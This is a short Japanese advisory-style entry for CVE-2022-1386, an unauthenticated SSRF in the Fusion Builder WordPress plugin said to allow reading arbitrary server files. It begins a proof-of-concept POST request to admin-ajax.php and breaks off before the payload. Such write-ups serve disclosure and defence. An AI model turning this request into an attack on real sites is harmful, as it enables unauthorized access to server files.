CVE-2022-1386

説明 Fusion BuilderはWordPressのプラグインで、ユーザーがドラッグアンドドロップインターフェースを使用してページを作成・編集できるようにします。認証されていないSSRFに対して脆弱であり、攻撃者がサーバー上の任意のファイルを読み取ることを可能にします。 概念実証 リクエスト: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:98.0 Gecko/20100101 Firefox/98.0...